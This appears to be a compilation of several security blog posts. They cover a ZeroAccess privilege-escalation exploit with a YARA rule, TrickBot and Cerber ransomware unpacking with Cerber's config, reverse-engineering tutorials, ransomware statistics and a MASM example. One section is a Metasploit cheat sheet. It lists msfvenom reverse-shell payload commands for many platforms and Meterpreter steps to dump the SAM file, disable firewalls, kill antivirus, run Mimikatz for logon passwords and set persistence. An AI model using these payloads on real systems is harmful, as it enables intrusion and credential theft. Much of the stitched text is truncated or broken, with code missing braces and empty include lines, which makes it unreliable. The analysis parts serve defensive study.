ZeroAccess Trojan: CVE-2015-1701 –> Local Privilege Exploit (LPE) Analysis



  • Analyze the ZeroAccess Trojan custom local privilege exploit (LPE) related to CVE-2015-1701.


  • Win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Vista SP2, and Server 2008 SP2 allows local users to gain privileges via a crafted application, as exploited in the wild in April 2015, aka “Win32k Elevation of Privilege Vulnerability.”
LPE Implementation and Functionality:

  • Registers a vectored exception handler and sets a hardware breakpoint on a specific function. When this function is then called, the exception handler jumps in and continues the execution.
  • The hardware breakpoint is set on KiUserExceptionDispatcher.
  • Loads UxTheme.dll via LoadLibraryA, detected by Kernel API Logger.
  • Prints MessageBoxA with “Error” and “User32.”
Additional Analysis:

  • File: exploit_1f8c42caeacb44f2a738ee2104457220eca6d7a7416f953d01bc716a63b3db8d
  • Size: 24064 Bytes
  • MD5: B5DADAAF9C8FEDF84542DD69C9776B04

Dumped Process:

  • File: exploit_1f8c42caeacb44f2a738ee2104457220eca6d7a7416f953d01bc716a63b3db8d_dmp.exe_
  • MD5:  2b6f803b5ade6eb0b0b960782640765c
  • Size: 40962 Bytes

PDB Path:

  • d:\ZZZ\release\ui[.]pdb

Api Log:

***** Installing Hooks *****  
71ab74df     RegOpenKeyExA (HKLM\System\CurrentControlSet\Services\WinSock2\Parameters)  
71ab80c4     RegOpenKeyExA (Protocol_Catalog9)  
71ab2623     WaitForSingleObject(794,0)  
71ab87c6     RegOpenKeyExA (NameSpace_Catalog5)  
71ab835b     RegOpenKeyExA (Catalog_Entries)     
71ab2623     WaitForSingleObject(78c,0)  
71aa1af2     RegOpenKeyExA (HKLM\System\CurrentControlSet\Services\Winsock2\Parameters)  
71aa198e     GlobalAlloc()  
7c80b719     ExitThread()  
5ad8bdf9     GetCurrentProcessId()=3644  
5ad7a0e2     IsDebuggerPresent()  
773d3faf     LoadLibraryA(UxTheme.dll)=5ad70000    

773ea4a1     GetCurrentProcessId()=3644  

Yara Signature:

rule crime_win32_zeroaccess_lpe
        description = “Detects the ZeroAccess trojan local privilege exploit related to CVE-2015-1701”
        author = “Vitali Kremez”
        date = “2016-05-23”
        hash = “b5dadaaf9c8fedf84542dd69c9776b04”

        $s0 = “\\KnownDlls\\user32.dll” fullword wide
        $s1 = “\\KnownDlls\\kernel32.dll” fullword wide
        $s2 = “” fullword ascii
        $s3 = “d:\\ZZZ\\release\\ui.pdb” fullword ascii
        $s4 = “%p->VirtualProtect([%p, %p) %08X, %s)” fullword ascii
        $s5 = “%p->VirtualAlloc(%p, %08X)” fullword ascii
        $s6 = “%p SSL_SetURL(%s)=%p” fullword ascii
        $s7 = “@Microsoft Unified Security Protocol Provider” fullword wide
        $s8 = “rrrrtm” fullword ascii
        $s9 = “ddddtt” fullword ascii
        $s10 = “%p %s=%p” fullword ascii

        $op0 = { 3b 58 34 74 0c bf 03 00 00 40 eb 05 bf 01 00 00 }
        $op1 = { c3 e9 3a 05 00 00 48 8d 05 01 }
        $op2 = { 8b 45 fc ff 70 10 68 72 72 72 72 8b 4d fc e8 9c } 
        uint16(0) == 0x5A4D and filesize < 70KB and all of ($s*) and 1 of ($op*)

Metasploit Cheat Sheet

List payloads

msfvenom -l

I. Binaries


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf


msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe


msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

II. Web Payloads


msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp


msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp


msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

III. Scripting Payloads


msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw >


msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw >


msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw >

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

IV. Shellcode

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f 

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f 

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f 

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive 

your incoming shells. Handlers should be in the following format.

VI. Handlers

use exploit/multi/handler
set ExitOnSession false
exploit -j -z

Meterpreter Useful Commands:

upload file c:\\windows

upload file c:\\windows

download c:\\windows\\repair\\sam /tmp

execute -f c:\\windows\temp\exploit.exe

execute -f cmd -c





portfwd add –l 3389 –p 3389 –r target

portfwd delete –l 3389 –p 3389 –r target

portfwd delete –l 3389 –p 3389 –r target

Additional useful commands are as follows:

  • msfconsole – r unicorn.rb

  • meterpreter shell

  • getsid

  • getuid

  • migrate

  • getsystem

  • run killav

  • run checkvm

  • exploit Windows7 Service Pack 1 msp

  • use incognito

  • run countermeasure

  • run countermeasure –d –k

  • shell

    • netsh firewall set opmode disable //disable firewall

  • run vnc

  • load mimikatz

  • ls

  • upload /home/user/mimikatz.exe C:\\

  • timestop mimikatz.exe -f "C:\\Windows\System32\\cmd.exe"

  • shell

    • mimikatz.exe

    • privilege::debug

    • inject::process lsass.exe sekurlsa.dll

    • getLogonPasswords

    • sekurlsa::logonPasswords full

  • run persistence -A -L C:\\ -X -i 10 -p 443 -r

  • attrib +h c:\autoexec.bat //make it hidden

  • Priv Esc Exploit CVE-2014-4113 (ms14_058_track_popup_menu)

Let’s Learn: Installing MISP Using Docker

Goal: Install and configure a local instance of Malware Information Sharing Platform and Threat Sharing (MISP)

(0) Install Docker (source:
(1) Initialize Database

docker run -it --rm \
-v /:/var/lib/mysql \
harvarditsecurity/misp /init-db

(2) Start the Docker Container

docker run -it -d \
-p 443:443 \
-p 80:80 \
-p 3306:3306 \
-v :/var/lib/mysql \

Unpacking TrickBot Banker


(1) Dump the injected process using Immunity Debugger;
(2) Rebase and obtain a TrickLoader‘s injected executable from memory;
(3) Find host-based and network protocol artifacts;
(4) Decode the config finding by advapi.dll’s CryptDecrypt API

<modulename=systeminfo ctl=GetSystemInfo/>

Cerber Ransomware: Unpacking Malware from Memory and Extracting Its Configuration

I. Steps:
(1) Debug a CERBER ransomware variant in Immunity Debugger or OllyDbg;
(2) Set up “Debugging Option” making a first pause on WinMain (if available) with “Break on New Module (DLL)“;
(3) Obtain an “MZ” header file from memory dump of the suspicious DLL injection;
(4) Carve this file and make sure it has necessary Crypto API characteristic of CERBER;
(5) Run the file in Immunity Debugger or OllyDbg setting up a breakpoint on “GetFileSize” function and stepping into this WinAPI call until you see an ASCII JSON config of CERBER;
(6) Carve the config by following in dump and beautifying its JSON;
(7) Obtain C2 data by breaking “sendto” call;
(8) Obtain network protocol; and
(9) Obtain its local RSA key.

II. CERBER Configuration:

    “blacklist”: {
        “extensions”: [“.hta”],
        “files”: [“bootsect.bak”, “iconcache.db”, “ntuser.dat”, “thumbs.db”],
        “folders”: [“:\\$getcurrent\\”, “:\\$recycle.bin\\”, “:\\$windows.~bt\\”, “:\\$windows.~ws\\”, “:\\boot\\”, “:\\documents and settings\\all users\\”, “:\\documents and settings\\default user\\”, “:\\documents and settings\\localservice\\”, “:\\documents and settings\\networkservice\\”, “:\\intel\\”, “:\\msocache\\”, “:\\perflogs\\”, “:\\program files (x86)\\”, “:\\program files\\”, “:\\programdata\\”, “:\\recovery\\”, “:\\recycled\\”, “:\\recycler\\”, “:\\system volume information\\”, “:\\temp\\”, “:\\windows.old\\”, “:\\windows10upgrade\\”, “:\\windows\\”, “:\\winnt\\”, “\\appdata\\local\\”, “\\appdata\\locallow\\”, “\\appdata\\roaming\\”, “\\local settings\\”, “\\public\\music\\sample music\\”, “\\public\\pictures\\sample pictures\\”, “\\public\\videos\\sample videos\\”, “\\tor browser\\”],
        “languages”: [1049, 1058, 1059, 1064, 1067, 1068, 1079, 1087, 1088, 1090, 1091, 1092, 2072, 2073, 2092, 2115]
    “check”: {
        “language”: 1
    “close_process”: {
        “close_process”: 1,
        “process”: [“agntsvc.exeagntsvc.exe”, “agntsvc.exeencsvc.exe”, “agntsvc.exeisqlplussvc.exe”, “dbeng50.exe”, “dbsnmp.exe”, “fbserver.exe”, “firefoxconfig.exe”, “msftesql.exe”, “mydesktopqos.exe”, “mydesktopservice.exe”, “mysqld-nt.exe”, “mysqld-opt.exe”, “mysqld.exe”, “ocautoupds.exe”, “ocomm.exe”, “ocssd.exe”, “oracle.exe”, “sqbcoreservice.exe”, “sqlagent.exe”, “sqlbrowser.exe”, “sqlservr.exe”, “sqlwriter.exe”, “synctime.exe”, “tbirdconfig.exe”, “xfssvccon.exe”]
    “debug”: 0,
    “default”: {
        “site_1”: “”,
        “site_2”: “”,
        “site_3”: “”,
        “site_4”: “”,
        “site_5”: “”,
        “tor”: “zutzt67dcxr6mxcn”
    “encrypt”: {
        “bytes_skip”: 512,
        “divider”: 262144,
        “encrypt”: 1,
        “files”: [

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica}

                [“.123”, “.1cd”, “.3dm”, “.3ds”, “.3fr”, “.3g2”, “.3gp”, “.3pr”, “.602”, “.7z”, “.7zip”, “.aac”, “.ab4”, “.abd”, “.acc”, “.accdb”, “.accde”, “.accdr”, “.accdt”, “.ach”, “.acr”, “.act”, “.adb”, “.adp”, “.ads”, “.aes”, “.agdl”, “.ai”, “.aiff”, “.ait”, “.al”, “.aoi”, “.apj”, “.apk”, “.arc”, “.arw”, “.ascx”, “.asf”, “.asm”, “.asp”, “.aspx”, “.asset”, “.asx”, “.atb”, “.avi”, “.awg”, “.back”, “.backup”, “.backupdb”, “.bak”, “.bank”, “.bat”, “.bay”, “.bdb”, “.bgt”, “.bik”, “.bin”, “.bkp”, “.blend”, “.bmp”, “.bpw”, “.brd”, “.bsa”, “.bz2”, “.c”, “.cash”, “.cdb”, “.cdf”, “.cdr”, “.cdr3”, “.cdr4”, “.cdr5”, “.cdr6”, “.cdrw”, “.cdx”, “.ce1”, “.ce2”, “.cer”, “.cfg”, “.cfn”, “.cgm”, “.cib”, “.class”, “.cls”, “.cmd”, “.cmt”, “.config”, “.contact”, “.cpi”, “.cpp”, “.cr2”, “.craw”, “.crt”, “.crw”, “.cry”, “.cs”, “.csh”, “.csl”, “.csr”, “.css”, “.csv”, “.d3dbsp”, “.dac”, “.das”, “.dat”, “.db”, “.db3”, “.db_journal”, “.dbf”, “.dbx”, “.dc2”, “.dch”, “.dcr”, “.dcs”, “.ddd”, “.ddoc”, “.ddrw”, “.dds”, “.def”, “.der”, “.des”, “.design”, “.dgc”, “.dgn”, “.dif”, “.dip”, “.dit”, “.djv”, “.djvu”, “.dng”, “.doc”, “.docb”, “.docm”, “.docx”, “.dot”, “.dotm”, “.dotx”, “.drf”, “.drw”, “.dtd”, “.dwg”, “.dxb”, “.dxf”, “.dxg”, “.edb”, “.eml”, “.eps”, “.erbsql”, “.erf”, “.exf”, “.fdb”, “.ffd”, “.fff”, “.fh”, “.fhd”, “.fla”, “.flac”, “.flb”, “.flf”, “.flv”, “.forge”, “.fpx”, “.frm”, “.fxg”, “.gbr”, “.gho”, “.gif”, “.gpg”, “.gray”, “.grey”, “.groups”, “.gry”, “.gz”, “.h”, “.hbk”, “.hdd”, “.hpp”, “.html”, “.hwp”, “.ibank”, “.ibd”, “.ibz”, “.idx”, “.iif”, “.iiq”, “.incpas”, “.indd”, “.info”, “.info_”, “.iwi”, “.jar”, “.java”, “.jnt”, “.jpe”, “.jpeg”, “.jpg”, “.js”, “.json”, “.k2p”, “.kc2”, “.kdbx”, “.kdc”, “.key”, “.kpdx”, “.kwm”, “.laccdb”, “.lay”, “.lay6”, “.lbf”, “.lck”, “.ldf”, “.lit”, “.litemod”, “.litesql”, “.lock”, “.ltx”, “.lua”, “.m”, “.m2ts”, “.m3u”, “.m4a”, “.m4p”, “.m4u”, “.m4v”, “.ma”, “.mab”, “.mapimail”, “.max”, “.mbx”, “.md”, “.mdb”, “.mdc”, “.mdf”, “.mef”, “.mfw”, “.mid”, “.mkv”, “.mlb”, “.mml”, “.mmw”, “.mny”, “.money”, “.moneywell”, “.mos”, “.mov”, “.mp3”, “.mp4”, “.mpeg”, “.mpg”, “.mrw”, “.ms11”, “.msf”, “.msg”, “.mts”, “.myd”, “.myi”, “.nd”, “.ndd”, “.ndf”, “.nef”, “.nk2”, “.nop”, “.nrw”, “.ns2”, “.ns3”, “.ns4”, “.nsd”, “.nsf”, “.nsg”, “.nsh”, “.nvram”, “.nwb”, “.nx2”, “.nxl”, “.nyf”, “.oab”, “.obj”, “.odb”, “.odc”, “.odf”, “.odg”, “.odm”, “.odp”, “.ods”, “.odt”, “.ogg”, “.oil”, “.omg”, “.one”, “.onenotec2”, “.orf”, “.ost”, “.otg”, “.oth”, “.otp”, “.ots”, “.ott”, “.p12”, “.p7”]

III. C2 Traffic:

IV. Protocol Communication:



VII. CERBER Debug Strings:

Reverse Engineering: Analyzing Compiled OOP in Binaries


In C++, the this Pointer is a reference to the object that Methods act upon. This calling convention is commonly known as Thiscall. Understanding how to recognize the this pointer when reverse engineering object oriented code will is can aid in tracking objects and understanding the relationships between objects and their methods.

By convention, Microsoft Visual C++ compilers pass the this pointer to instance methods through the ECX register, and passes the rest of the parameters onto the stack in reverse order (like Stdcall).

The GCC compiler Thiscall is based on Cdecl; however, it pushes this onto the stack before the method call after all arguments have been pushed.

Some compilers, such as Borland and Watcom, reportedly store this in EAX. As always, these are conventions, and though exceptions to the rules exist, they are fairly reliable.

When a Class or Struct instance is created, a block of contiguous memory is created to store it’s object’s member variables. A pointer, commonly referred to as this, points to the base address of the structure.

Member access typically occurs as a two instruction sequence

  • The this pointer is stored in a register (e.g. ECX, ESI)
    1. The member is retrieved as an offset and stored

    mov ecx, [ebp + var_myobj]   ; Store the object pointer
    mov eax, [ecx + 0Ch] ; Store the member 12 bytes from object base
    Access to these offsets within an object’s memory space can to give leads to its composition (and ultimately the Class/Struct definition). Note that often times some of the data that comprises an object may be other objects (perhaps of different classes) which are embedded. An object may also contain pointers to objects, arrays, function tables, or other data.

    The life of a Class/Struct instance begins with a Constructor and ends with a Destructor. Both of the special methods are optional; however, behind the scenes, there is generally some sort of initialization (perhaps with exceptions such as a global Struct instance).



    When developing Classes in C++, inheritance is used to define characteristics and functionality only once for functionality shared by several related classes. For example, the following could be base class for people:

    class Person {
    char name[50];
    Person(char *_name) { strncpy(name, _name, 50); }
    virtual void work() {
    printf("%s moves some boxes\n", name);

    Here the Person class is defined with a single function which can be overridden any derived classes:

    class Novelist : public Person {
    Novelist(char *_name) : Person(_name) {}
    virtual void work() {
    printf("%s writes a book\n", name);

    A Novelist can be created using a Person pointer:

    Person *Chaucer = new Novelist((char*)"Geoffrey Chaucer");
    Chaucer->work(); // Will write "Geoffrey Chaucer writes a book\n" to STDOUT

    The initialization code for looks very similar to code for classes not using inheritance:

    Reverse Engineering: Structs and Nodes in Bomb6.exe

    • Coloring can help to clarify
      • Be consistent in your coloring methodology
    • Collapse and Analyze algorithm:
      1. Find bold line (that’s the loop)
      2. Start at bold line’s arrow head and follow it backwards
        • If encounter another bold line’s arrow head, collapse that inner loop first
      3. Collapse loop
      4. After all loops have been collapsed, analyze starting at the beginning of the function
        • Pseudo-code it
        • Re-collapse
        • Next
    • Use script (e.g. IDC) to define large structures
    auto struct_id, member_id;
    struct_id = AddStrucEx(
    1, //index
    'MyStruct', //name
    0 // is_union
    member_id = AddStrucMember(
    struct_id, // long id
    'my_member', // string name
    0x220, // long offset
    FF_DWRD, // long flag
    -1, // long typeid
    4 // long nbytes

    Reverse Engineering: dl Byte Registers and Arrays in Bomb5.exe


    I. String Decoding

    • General algorithm
      • read from memory/buffer
      • transform
      • write to memory/buffer
    • Source and destination may be same (overwriting) or different
    • May be single byte or multi-byte operations
    • ASCII Table is your friend, so keep one on hand

    II. Bit Masks

    • Often operands of logical operations (AND, OR, XOR,…)
    • Used for program control (flags)
    • …and string manipulation (compression, encryption, etc.)
    EXAMPLE 1:

    movsx   eax, byte ptr [edx]
    and eax, 0Fh

    EXAMPLE 2:

    mov     al, [edx]
    and eax, 0Fh

    Ransomware Trends 2016

    ***The year of 2016 was the year of ransomware.

    Goal: Obtain statistics related to ransomware trends in 2016, including, but not limited to,

    • (1) top 10 ransomware variants;
    • (2) top 10 ransomware infrastructure locations; and
    • (3) top 10 ransomware IPs

    Tools: Elasticsearch, Kibana, Logstash
    Source: OSINT Feed
    Date Range: 2016

    Winners (2016):

    • Top 3 Ransomware –> Locky, Cerber, & TeslaCrypt
    • Top 3 Ransomware Infrastructure Location -> United States, Germany, & Russia

    I. Top 10 Ransomware (2016):

    Locky 38,023
    Cerber 4,656
    TeslaCrypt 1,916
    TorrentLocker 392
    CryptoWall 368
    PayCrypt 60
    CTB-Locker 24
    PadCrypt 16
    DMALocker 12
    FAKBEN 12

    II. Top 10 Ransomware Infrastructure Location (2016):

    United States 11,339
    Germany 2,288
    Russia 2,052
    Netherlands 1,464
    Italy 1,428
    China 1,384
    United Kingdom 969
    France 892
    Poland 861
    Turkey 832

    Let’s Learn: Assembly –> Simple Window



    Windows programs rely heavily on API functions for their GUI. This approach benefits both users and programmers. For users, they don’t have to learn how to navigate the GUI of each new programs, the GUI of Windows programs are alike. For programmers, the GUI codes are already there, tested, and ready for use. The downside for programmers is the increased complexity involved. In order to create or manipulate any GUI objects such as windows, menu or icons, programmers must follow a strict recipe. But that can be overcome by modular programming or OOP paradigm.

    I’ll outline the steps required to create a window on the desktop below:

    1. Get the instance handle of your program (required)
    2. Get the command line (not required unless your program wants to process a command line)
    3. Register window class (required ,unless you use predefined window types, eg. MessageBox or a dialog box)
    4. Create the window (required)
    5. Show the window on the desktop (required unless you don’t want to show the window immediately)
    6. Refresh the client area of the window
    7. Enter an infinite loop, checking for messages from Windows
    8. If messages arrive, they are processed by a specialized function that is responsible for the window
    9. Quit program if the user closes the window
    .model flat,stdcall 
    option casemap:none 
    include \masm32\include\ 
    include \masm32\include\ 
    includelib \masm32\lib\user32.lib            ; calls to functions in user32.lib and kernel32.lib 
    include \masm32\include\ 
    includelib \masm32\lib\kernel32.lib
    WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

    .DATA                     ; initialized data 
    ClassName   db “SimpleWinClass”,0        ; the name of our window class 
    AppName     db “Our First Window”,0        ; the name of our window

    .DATA?                    ; Uninitialized data 
    hInstance HINSTANCE ?     ; Instance handle of our program 
    CommandLine LPSTR   ? 

    .CODE                                   ; Here begins our code 
    invoke GetModuleHandle, NULL            ; get the instance handle of our program. 
                                            ; Under Win32, hmodule==hinstance mov hInstance,eax 
    mov hInstance,eax 
    invoke GetCommandLine                   ; get the command line. You don’t have to call this function IF 
                                            ; your program doesn’t process the command line. 
    mov CommandLine,eax 
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT        ; call the main function 
    invoke ExitProcess, eax                                           ; quit our program. The exit code is returned in eax from WinMain.

    WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD 
        LOCAL wc:WNDCLASSEX                                            ; create local variables on stack 
        LOCAL msg:MSG 
        LOCAL hwnd:HWND

        mov   wc.cbSize,SIZEOF WNDCLASSEX                   ; fill values in members of wc 
        mov, CS_HREDRAW or CS_VREDRAW 
        mov   wc.lpfnWndProc, OFFSET WndProc 
        mov   wc.cbClsExtra,NULL 
        mov   wc.cbWndExtra,NULL 
        push  hInstance 
        pop   wc.hInstance 
        mov   wc.hbrBackground,COLOR_WINDOW+1 
        mov   wc.lpszMenuName,NULL 
        mov   wc.lpszClassName,OFFSET ClassName 
        invoke LoadIcon,NULL,IDI_APPLICATION 
        mov   wc.hIcon,eax 
        mov   wc.hIconSm,eax 
        invoke LoadCursor,NULL,IDC_ARROW 
        mov   wc.hCursor,eax 
        invoke RegisterClassEx, addr wc                       ; register our window class 
        invoke CreateWindowEx,NULL,\ 
                    ADDR ClassName,\ 
                    ADDR AppName,\ 
        mov   hwnd,eax 
        invoke ShowWindow, hwnd,CmdShow                         ; display our window on desktop 
        invoke UpdateWindow, hwnd                               ; refresh the client area

        .WHILE TRUE                                             ; Enter message loop 
                    invoke GetMessage, ADDR msg,NULL,0,0 
                    .BREAK .IF (!eax) 
                    invoke TranslateMessage, ADDR msg 
                    invoke DispatchMessage, ADDR msg 
        mov     eax,msg.wParam                                   ; return exit code in eax 
    WinMain endp

    WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM 
        .IF uMsg==WM_DESTROY                                    ; if the user closes our window 
            invoke PostQuitMessage,NULL             ; quit our application 
            invoke DefWindowProc,hWnd,uMsg,wParam,lParam     ; Default message processing 
        xor eax,eax 
    WndProc endp

    end start